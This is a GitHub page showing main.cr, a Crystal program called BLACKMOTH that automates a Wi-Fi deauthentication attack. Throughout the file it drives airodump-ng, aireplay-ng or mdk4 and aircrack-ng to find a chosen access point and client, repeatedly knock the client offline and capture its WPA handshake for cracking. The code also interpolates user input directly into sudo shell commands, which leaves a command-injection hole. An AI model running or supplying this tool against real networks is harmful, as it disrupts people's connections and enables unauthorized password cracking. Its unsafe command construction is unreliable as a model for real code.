-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.cr
435 lines (422 loc) · 15.8 KB
/
main.cr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
require "json"
require "colorize"
def startup_banner()
puts "
▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▄▄▄▄ ▄▀▀▄ █ ▄▀▀▄ ▄▀▄ ▄▀▀▀▀▄ ▄▀▀▀█▀▀▄ ▄▀▀▄ ▄▄
▐ ▄▀ █ █ █ ▐ ▄▀ ▀▄ █ █ ▌ █ █ ▄▀ █ █ ▀ █ █ █ █ █ ▐ █ █ ▄▀
█▄▄▄▀ ▐ █ █▄▄▄█ ▐ █ ▐ █▀▄ ▐ █ █ █ █ ▐ █ ▐ █▄▄▄█
█ █ █ ▄▀ █ █ █ █ █ █ ▀▄ ▄▀ █ █ █
▄▀▄▄▄▀ ▄▀▄▄▄▄▄▄▀ █ ▄▀ ▄▀▄▄▄▄▀ ▄▀ █ ▄▀ ▄▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀
█ ▐ █ ▐ ▐ █ ▐ █ ▐ █ █ █ █ █
▐ ▐ ▐ ▐ ▐ ▐ ▐ ▐ ▐", "\n\n"
end
def config_banner()
system "clear"
puts ""
print `echo "\t ___,-------.___"`.colorize.light_yellow
print `echo "\t ,--' '--."`.colorize.light_yellow
print `echo '\t / \\\'`.colorize.light_yellow
print `echo '\t / \\\'`.colorize.light_yellow
print `echo "\t | |"`.colorize.light_yellow
print `echo "\t | |"`.colorize.light_yellow
print `echo "\t | |~~~~~~~~~| |"`.colorize.light_yellow
print `echo "\t | \\ / |"`.colorize.light_yellow
print `echo "\t | \\ / |"`.colorize.light_yellow
print `echo "\t \\ \\ / /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\____|___| ___/"`.colorize.light_yellow
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t \\_____________/"`
print `echo "\t \\___/',"`
puts "\n\t BLACKMOTH Config Generator",""
puts "\t\t Version 1a".colorize.light_red
end
def createConfig()
config_banner()
print "\n[~]".colorize.light_magenta
print " Enter BSSID > "
inputBSSID = gets(chomp=true)
print "\n[~]".colorize.light_magenta
print " Enter Client MAC > "
inputClient = gets(chomp=true)
print "\n[~]".colorize.light_magenta
print " Enter Wifi Interface name > "
inputWifi = gets(chomp=true)
print "\n[~]".colorize.light_magenta
print " Enter Deauth pause interval > ", ""
inputWait = gets(chomp=true)
print "\n[~]".colorize.light_magenta
print " Enter Deauth tool (air/mdk4) > ", ""
inputTool = gets(chomp=true)
if inputTool == "air"
#continue
elsif inputTool == "mdk4"
#continue
else
puts "[!] Improper tool selected! Exiting..".colorize.light_red
exit()
end
if File.exists?("/usr/share/BLACKMOTH/config.json")
`sudo rm /usr/share/BLACKMOTH/config.json`
end
`sudo touch /usr/share/BLACKMOTH/config.json`
`sudo echo '{' >> /usr/share/BLACKMOTH/config.json`
`sudo echo ' "bssid": "#{inputBSSID}",' >> /usr/share/BLACKMOTH/config.json`
`sudo echo ' "client": "#{inputClient}",' >> /usr/share/BLACKMOTH/config.json`
`sudo echo ' "wifi_card": "#{inputWifi}",' >> /usr/share/BLACKMOTH/config.json`
`sudo echo '' >> /usr/share/BLACKMOTH/config.json`
`sudo echo ' "deauth_wait_time": "#{inputWait}",' >> /usr/share/BLACKMOTH/config.json`
`sudo echo ' "deauth_tool": "#{inputTool}"' >> /usr/share/BLACKMOTH/config.json`
`sudo echo '}' >> /usr/share/BLACKMOTH/config.json`
puts "\n[!] Config generated".colorize.light_green, ""
puts `sudo cat /usr/share/BLACKMOTH/config.json`
print "\n", "[~]".colorize.light_magenta
puts " config.json file updated successfully!", ""
end
class Master
# Class init
def initialize()
@json_object = JSON.parse(File.read("/usr/share/BLACKMOTH/config.json"))
end
# Banner creator
def banner()
system "clear"
puts "", ""
print "\t"
print "███ █ "
print "██ ▄█▄ █ █▀ ".colorize.red
puts "█▀▄▀█ ████▄ ▄▄▄▄▀ ▄ █ "
print "\t"
print "█ █ █ "
print "█ █ █▀ ▀▄ █▄█ ".colorize.red
puts " █ █ █ █ █ ▀▀▀ █ █ █"
print "\t"
print "█ ▀ ▄ █ "
print "█▄▄█ █ ▀ █▀▄ ".colorize.red
puts " █ ▄ █ █ █ █ ██▀▀█"
print "\t"
print "█ ▄▀ ███▄ "
print "█ █ █▄ ▄▀ █ █ ".colorize.red
puts " █ █ ▀████ █ █ █ "
print "\t"
print "███ "
print "▀ █ ▀███▀ █ ".colorize.red
puts " █ ▀ █ "
print "\t"
print " "
print "█ ▀ ".colorize.red
puts " ▀ ▀ "
print "\t"
puts " ▀ ".colorize.red
print "\t"
puts " - HANDSHAKES FASTER THAN DADS AT THANKSGIVING -".colorize.light_red
puts ""
puts "\t\t\t -Version 2a-\n\n"
end
# Deauth banner
def moth()
puts "
,-.
/$$|
,;$'`:
/ $' `,
| ` \,
|,m. ,\_
|Y`F ,-,$$ `.
|`-'/-'$$,::.\
\ ;$';::: )
,:\ $':::;,'_
_,---------.__ ,.. ::'\ `';::',-' \
($$$`' (88`) `-.;:::;, ) `',-dP : `,
`--. ,--, `-.|`-., --. : \,
\_ `-',$$$:. \ -'\`-._ `' : \__
`.`$$$$`',.:::/ `.-'\ `--._ `---._________,'`._,'
) .:::::::'/, \`. \ `--------------------```'
`-.`:::'_,'P / ` \_|
`---'/: (; :
`. : : |
`-. ..|
`. |
): Deauth, with the moth
||
||
||
||
|'
/'
-Overbyte- /|
( /
)
'
"
end
# Sets monitor mode
def monset()
# Find interface on system
iface = @json_object["wifi_card"]
puts "\n>>> Placing #{iface} into monitor mode".colorize.light_green
checker = `sudo iw dev | awk '$1=="Interface"{print $2}'`
checkerArray = checker.split("\n")
if !checkerArray.includes? (iface)
puts "\n[!] #{iface} not found".colorize.light_red
exit()
end
# Begin our process
`sudo airmon-ng check kill >/dev/null`
`sudo ip link set #{iface} down`
`sudo iw dev #{iface} set type monitor`
`sudo ip link set #{iface} up`
puts "", `sudo iwconfig #{iface}`
# Verify monitor mode
finalMon = `sudo iwconfig #{iface} | grep Mode:Monitor`
if finalMon == ""
puts "Wireless card failed to enter monitor mode"
exit()
end
end
# Locates our BSSID
def findBSSID()
#Creates the first capture as a child
child_pid = Process.fork() do
puts ">> Starting airodump-ng survey".colorize.light_magenta, ""
#Grabs wifi interface from json
iface = @json_object["wifi_card"]
bssid = @json_object["bssid"].to_s
#Starts the airodump process
puts `sudo airodump-ng -w findBSSID --bssid #{bssid} --band abg --output-format csv #{iface}`
Signal::INT.trap() do
puts "Signal caught. Exiting cleanly."
exit()
end
loop do end
end
# Doesnt continue until airodump creates the file
forever = true
while forever == true
if File.exists?("findBSSID-01.csv")
forever = false
end
end
#This will scan the .csv file for our target bssid
scanning = true
dotCounter = 0
while scanning == true
bssid = @json_object["bssid"].to_s
sleep 1
if dotCounter < 1
print "[~] Waiting for BSSID"
dotCounter +=1
else
print "."
dotCounter +=1
end
#If found, send a kill command to our child process
if File.read("findBSSID-01.csv").includes?(bssid)
puts " // BSSID #{bssid} has been found! ".colorize.light_green, ""
print "[~] Processing channel information.. ", ""
channel_check = true
while channel_check == true
channel_num = `grep -m 1 '#{bssid}' findBSSID-01.csv | awk -F , '{print $4}'`.strip
if channel_num == "-1"
#continue
else
print "// Channel ".colorize.light_green
print channel_num.colorize.light_green
puts " found".colorize.light_green, ""
channel_check = false
end
end
child_pid.signal(Signal::KILL)
scanning = false
`sudo pkill airodump-ng`
end
end
# Launch FIND CLIENT
findClient(channel_num)
end
def findClient(channel_info)
channel_num = channel_info
#Creates the first capture as a child
child_pid = Process.fork() do
puts ">> Locating target client".colorize.light_magenta, "\r"
#Grabs wifi interface from json
iface = @json_object["wifi_card"].to_s
bssid = @json_object["bssid"].to_s
#Starts the airodump process
puts `sudo airodump-ng -w findCLIENT --channel #{channel_info} --bssid #{bssid} --output-format csv #{iface}`
Signal::INT.trap() do
puts "Signal caught. Exiting cleanly."
exit()
end
loop do end
end
# Doesnt continue until airodump creates the file
forever = true
while forever == true
if File.exists?("findCLIENT-01.csv")
forever = false
end
end
#This will scan the .csv file for our target bssid
scanning = true
dotCounter = 0
while scanning == true
client = @json_object["client"].to_s
sleep 1
if dotCounter < 1
print "[~] Waiting for Client"
dotCounter +=1
else
print "."
dotCounter +=1
end
#If found, send a kill command to our child process
if File.read("findCLIENT-01.csv").includes?(client)
puts " // Client #{client} has been found! ".colorize.light_green, ""
child_pid.signal(Signal::KILL)
scanning = false
`sudo pkill airodump-ng`
end
end
#Starts deauthClient function
puts ">> Entering deauthentication phase".colorize.light_magenta, "\r"
sleep 3
deauthClient(channel_num)
end
def deauthClient(channel_info)
# Set global run varibale
running = true
tool = @json_object["deauth_tool"].to_s
dwait = @json_object["deauth_wait_time"].to_s
iface = @json_object["wifi_card"].to_s
bssid = @json_object["bssid"].to_s
client = @json_object["client"].to_s
system "clear"
moth()
#Creates the first capture as a child
child_pid = Process.fork() do
puts ">> Deauthing target client".colorize.light_magenta, ""
#Grabs wifi interface from json
#Starts the airodump process
puts `sudo airodump-ng -w deauthCLIENT --channel #{channel_info} --bssid #{bssid} --output-format cap #{iface}`
Signal::INT.trap() do
puts "Signal caught. Exiting cleanly."
exit()
end
loop do end
end
# Sleep to allow airdump-ng to create its file
puts "\n[!] Firing up the turbos..".colorize.light_yellow, ""
# Doesnt continue until airodump creates the file
forever = true
while forever == true
if File.exists?("deauthCLIENT-01.cap")
forever = false
end
end
while running == true
case tool
when "air"
puts "\n>>> Starting aireplay-ng (⊙︿⊙✿)".colorize.light_red, ""
puts `sudo aireplay-ng --deauth 1 -a #{bssid} -c #{client} -D #{iface}`
puts `sleep #{dwait}`
when "mdk4"
puts "\n>>> Starting mdk4 (⊙_⊙✿)".colorize.light_red, ""
puts `sudo timeout -k #{dwait.to_i + 5} #{dwait.to_i + 5} mdk4 #{iface} d -c #{channel_info} -s 1 -B #{bssid} -S #{client}`
else
puts "[!] Improper deauth tool configuration, exiting..".colorize.red
exit()
end
#find_handshake, wait for 3 to allow airodump file to populate
current_val = `aircrack-ng deauthCLIENT-01.cap | awk -F 'WPA ' '{print $2}'`.strip
correct_val = "(1 handshake)"
correct_val2 = "(1 handshake, with PMKID)"
#If found, kill airodump
if current_val.to_s == correct_val
running = false
elsif current_val.to_s == correct_val2
running = false
# Otherwise continue
else
puts ""
print ">>".colorize.light_yellow
print " Handshake not found yet.."
current_val = ""
print " Sleeping for ","#{dwait}".colorize.red, " seconds"
puts ""
if dwait.to_i <= 1
puts `sleep 1`
else
puts `sleep #{dwait.to_i - 1}`
end
end
end
system "clear"
startup_banner()
puts "\t\t\t Stay away from the light".colorize.red, ""
puts ""
print "[!!!] Handshake is found! (✿◠‿◠) ".colorize.light_magenta
puts " #{current_val.to_s}", ""
child_pid.signal(Signal::KILL)
#puts "[~] Waiting for airodump (#{child_pid}) to finish...", ""
`sudo pkill airodump-ng`
end
# End of class
end
def main()
begin
# Check if root
rootCheck = `whoami`.strip
if rootCheck != "root"
puts ""
STDERR.print "Run this as root, dingus (≖︿≖✿)".colorize.red
print "\n"
exit()
end
# Cleanup old survey(s)
`sudo rm -rf findBSSID*`
`sudo rm -rf findCLIENT*`
`sudo rm -rf deauthCLIENT*`
# Check for config file && run if not present
if !Dir.exists?("/usr/share/BLACKMOTH")
`sudo mkdir /usr/share/BLACKMOTH`
createConfig()
elsif !File.exists?("/usr/share/BLACKMOTH/config.json")
createConfig()
elsif File.exists?("/usr/share/BLACKMOTH/config.json")
system "clear"
startup_banner()
print "[?]".colorize.light_magenta
print " Do you wish to create a new config?\n"
print "\n1. Yes\n2. No\n\n"
print "[BLACKMOTH] > ".colorize.light_green
question = gets(chomp=true)
if question == "1"
createConfig()
end
end
# Unleash the moth
🔥 = Master.new()
Signal::INT.trap() do
`sudo pkill airodump-ng`
system "clear"
puts "", "\r"
startup_banner()
puts "\t\t\t You feared the light".colorize.red, "", ""
exit()
end
🔥.banner
🔥.monset
🔥.findBSSID
ensure
`sudo pkill airodump-ng`
exit()
end
end
main()